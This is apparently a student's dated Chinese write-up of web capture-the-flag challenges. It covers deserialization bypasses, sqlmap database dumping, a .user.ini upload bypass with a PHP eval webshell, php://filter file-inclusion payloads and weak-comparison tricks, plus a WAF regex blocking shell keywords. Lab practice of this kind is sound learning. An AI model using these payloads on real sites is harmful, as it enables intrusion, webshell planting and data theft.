11.20(5)
Training-WWW-Robots
题目提示明显。直接访问 ./robots.txt
再访问 ./fl0g.php
拿下flag。
robots.txt - Wikipedia --- robots.txt - 维基百科,自由的百科全书
该协议依靠自觉遵守。
robots.txt 文件涵盖一个源。对于具有多个子域的网站,每个子域必须有自己的机器人 .txt 文件。如果 example.com 有机器人.txt文件,但 a.example.com 没有,则适用于 example.com 的规则将不适用于 a.example.com。此外,每个协议和端口都需要自己的机器人.txt文件;http://example.com/robots.txt 不适用于 http://example.com:8080/ 或 https://example.com/ 下的页面。
PHP2
==今天知道了其实存在一个后缀名为.phps的文件==
phps文件就是php的源代码文件,通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替。它的MIME类型为:text/html, application/x-httpd-php-source, application/x-httpd-php3-source
。
.phps
并不是默认就能访问的,需要配置。
.phps
显示源代码并不执行代码,而.php
会执行代码
访问./index.phps
好奇怪,没显示完全。f12看一下
<?php
if("admin"===$_GET[id]) {
echo("not allowed!");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin") {
echo "Access granted!";
echo "Key: xxxxxxx";
} ?>
admin = %61%64%6D%69%6E
./index.php?id=%2561%2564%256D%2569%256E
要编码两次,第一次给浏览器的decode用,第二次给urldecode这个函数用。
注意传入的地址还是index.php
而不是index.phps
。
拿下。
unserialize3
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');}
}
?code=
一个简单的wakeup绕过:只要序列化的中的成员数大于实际成员数,即可绕过。
这里的?code
显然是get传参提示。
构造payload:
<?php
class xctf{
public $flag = '111';
}
$a = new xctf();
echo(serialize($a))
?>
//运行结果:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
然后修改一下进行传参./?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
拿下。
ics-06
进去乱点一通,发现只有一个报警中心能点开。
看看url,嗯?id?掏出sqlmap,发现没问题。再看看这个日期有没有名堂。确认点了没反应,没搞头。bp抓包也看了,简洁得一批,没东西。
绷不住了去搜了wp。竟然是id遍历......
拿下。
没绷住,这题有点搞笑。
view_source
F12,没啥好说的。
拿下。
11.21(9)
get_post
./?a=1
hackerbar搞定。
拿下
robots
看名字,直接访问./robots.txt
。发现:
再访问./f1ag_1s_h3re.php
这个文件即可。跟昨天那个一模一样,没难度qa
拿下。
backup
一进去发现:
qaq不知道,赶紧去搜了。
php备份常见的有两种:.php~
和.php.bak
。如果网站存在备份文件,在地址栏最末加上/index.php~
或/index.php.bak
,即可得到备份文件。
一些常见备份文件后缀名:
.bak
.git
.svn
.swp
.~
.bash_history
.bkf
.zip / .tar / .tar.gz / .tgz / .tar.bz2 / .tb2
.sql
.dump
直接访问./index.php.bak
,会下载它,然后notepad打开发现flag!
cookie
直接启动burp开始抓包:
访问./cookie.php
听劝,立刻去看。发现response里出现了flag字段。
拿下。
disabled_button
按钮不能按是吧,直接F12开始看源码。
发现关键词disabled。删除!
拿下。
weak_auth
随手设置的?那我猜是弱密码。先admin/admin试一下。
那用户名是对的咯。那再试试admin/123456。
嗯嗯?咋这就对了qaq
拿下。
simple_php
<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}
?>
一眼弱比较绕过。
PHP比较运算符==
在进行比较的时候是弱类型比较,只需要比较两个值相等就行,不会比较类型
is_numeric
可以借助url编码中的空字符,例如%00
或者%20
来绕过。其中%00
加在数值前面或者后面都可以,也就是%005555
或者5555%00
这样。而%20
要加在数值末尾,比如5555%20
。
数字->非数字:数值%20 / %00数值 / 数值%00
./?a='a'&b=5555%00
。拿下
注意最后有没有空格qaq
baby_web
初始界面?那必定是./index.php
直接访问发现还是会跳转到1.php
。F12没有东西。怀疑302,抓包看看。
果然。拿下!
inget
ok,那先看看拦截了啥吧。
没回显,有点害怕。但是试着试着发现,不是哥,你这啥也没拦截啊!
./?id=1' or 1=1 --+
。拿下。
骚等让我再试一下sqlmap
sqlmap -u "http://61.147.171.105:51100/?id=1"
sqlmap -u "http://61.147.171.105:51100/?id=1" --dbs
sqlmap -u "http://61.147.171.105:51100/?id=1" -D cyber --tables
sqlmap -u "http://61.147.171.105:51100/?id=1" -D cyber -T cyber --columns
sqlmap -u "http://61.147.171.105:51100/?id=1" -D cyber -T cyber --dump
11.22(1)
easyupload
提交几个文件先试试水。
发现回显有两种情况:your filetype looks wicked
和Your file looks wicked
。而且会优先显示Your file looks wicked
而且上传图片马会报Your file looks wicked
,应该有文件内容的检测。
上传了一个文件名为test.p123456
,文件内容为php
的文件,发现回显Your file looks wicked
。判断检测关键词为php
。那么一句话木马可以改为<?=eval($_POST['cmd']);?>
或者<?=system('cat /flag');?>
然后发现直接改成png后缀会回显your filetype looks wicked
,应该有文件头检测,添加GIF89a
。并且修改content-type
为image/png
。
发现后缀为php时,仍然被拦下回显Your file looks wicked
,但是后缀为其他内容时(如上面的.p123456
),不会被拦下。推测为黑名单,可以尝试其他后缀。
最先想到.hataccess
,但显然不行,因为内容有php
。
搜索发现.user.ini
,具体可以看这个.user.ini文件构成的PHP后门 - phith0n (wooyun.js.org)
其中有两个重要参数:auto_append_file、auto_prepend_file
。auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()
函数。而auto_append_file
类似,只是在文件后面包含。
简单来说:auto_prepend_file = <filename>
包含在文件头;auto_append_file = <filename>
包含在文件尾。
上传路径是:./uploads
。想要利用.user.ini
必须确定这个路径下有.php
文件。访问./uploads/index.php
发现确实有php文件。
ok,开始操作。
先上传一个.user.ini
文件,注意要修改content-type。
再上传一个test.png
文件,内容为:
GIF89a
<?=eval($_POST['cmd']);?>
然后访问./uplaods/index.php
即可
蚁剑连接,拿下。
11.23(3)
fileinclude
进去看到一个报错。
没啥头绪,所以先F12看看。看到一串注释,分析一下
<?php
if( !ini_get('display_errors') ) {
ini_set('display_errors', 'On');
}
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan) //如果cookie字段中的language为空
{
@setcookie("language","english");
@include("english.php");
}
else //直接将cookie字段中的language直接拼接
{
@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>
诶嘿很清晰了这下:
用base64加密读取flag.php
,路径是前面报错来的。
language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag
拿下。
fileclude
访问进去直接看到代码,分析一下:
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"])) //get传两个参数file1,file2
{
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2)) //两个参数不能为空
{
if(file_get_contents($file2) === "hello ctf") //file_get_contents作用:把整个文件读入一个字符串中
{
include($file1);
}
}
else
die("NONONO");
}
看了一下,得绕过file_get_contents
,搜索去:CG-CTF web之 file_get_contents_str_split(file_get_contents("/flag"));-CSDN博客
- 使用php://input伪协议绕过
① 将要GET的参数?xxx=php://input
② 用post方法传入想要file_get_contents()函数返回的值 - 用data://伪协议绕过
将url改为:?xxx=data://text/plain;base64,想要file_get_contents()
函数返回的值的base64编码
或者将url改为:?xxx=data:text/plain,(url编码的内容)
这里先试了一下法一,没反应。待会研究一下。
然后换成法二:./?file1=php://filter/read=convert.base64-encode/resource=./flag.php&file2=data://text/plain;base64,aGVsbG8gY3Rm
拿下。
法一hackbar没反应,换成burpsuite立马解决。嗯,看来是hackbar的post时不时出bug的问题。
easyphp
上来就是一堆代码,分析一下:
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
$a = $_GET['a'];
$b = $_GET['b']; //get传a,b,c
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){ //a的条件
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){ //b的条件
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}
$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){ //c的条件
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1; //key2
}else{
die("no hack");
}
}else{
die("no");
}
if($key1 && $key2){
include "Hgfks.php";
echo "You're right"."\n";
echo $flag;
}
?>
一个一个来吧,先绕a:if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3)
intval
:获取变量的整数值。intval()函数绕过-CSDN博客 。这里可以用科学计数法绕过
再绕过b:if(isset($b) && '8b184b' === substr(md5($b),-6,6))
这里是个hash碰撞,qaq,我只能脚本小子。
import random
import hashlib
import time
value = "8b184b" # 碰撞内容可修改
# 计时
time_start = time.time()
time_end = time.time()
while 1:
plainText = random.randint(10 ** 11, 10 ** 12 - 1)
plainText = str(plainText)
MD5 = hashlib.md5()
MD5.update(plainText.encode(encoding='utf-8'))
cipherText = MD5.hexdigest()
if cipherText[-6:] == value: # 碰撞范围可修改
print("碰撞成功:")
print("密文为:" + cipherText)
print("明文为:" + plainText)
break
else:
time_end = time.time()
if time_end - time_start >= 5:
time_start = time_end
print("碰撞中.....")
然后再来绕c,c是json。还是一点一点来:if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022)
这里用数组绕过
下一段: if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])
这里一堆堆数组嵌套,总之就这样
再下一段
$d = array_search("DGGJ", $c["n"]); //有"DGGJ"
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){ //不能有"DGGJ"
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
看看哪个能绕过。搜索发现array_search
可以绕过。这玩意有类型转换的绕过,即不同类型会转换成同样类型进行比较,所以字符串"DGGJ"会转换成int类型的0,只需要数组里搞个0就可以了。
c的构造就成这样了:
拿下。
11.24(1.5)
file_include
进去就是代码,嗯,分析一下。
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename); //直接拼接,介么爽?
}
?>
./?filename=php://filter/read=convert.base64-encode/resource=./flag.php
它说do not hack! 果然没这么简单。
试了试发现,read
被拦截了。不会绕过qaq,进行搜索,发现:
PHP 伪协议:使用 php://filter 为数据流应用过滤器_BinaryMoon的博客-CSDN博客
?filename=php://filter/convert.base64-encode/resource=xxx.php
?filename=php://filter/read=convert.base64-encode/resource=xxx.php
两者作用相同。区别在于,只是读取时(有read),只需要开启allow_url_fopen
,不需要开启allow_url_include
。
修改payload,试一试./?filename=php://filter/convert.base64-encode/resource=./flag.php
。发现base64被拦截了。嘶,收集一下过滤器,看看哪些没有拦截。
先试试压缩包那个吧。没反应,懵逼。
换下一个。这个过滤器用法是这样的:convert.iconv.<input-encoding>.<output-encoding> 或者 convert.iconv.<input-encoding>/<output-encoding>
随便试了一下,发现对编码方式也有过滤,再次爆破一下看看。好多都行,随便选两个吧。
拿下。
unseping
进去又是代码,麻中麻。分析一下:
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args); //method=ping,args=array('id')
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);ar
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf)); //base64_encode(serialize($ctf))
?>
简单搓了一下,没有搞绕过,后续看12月份的。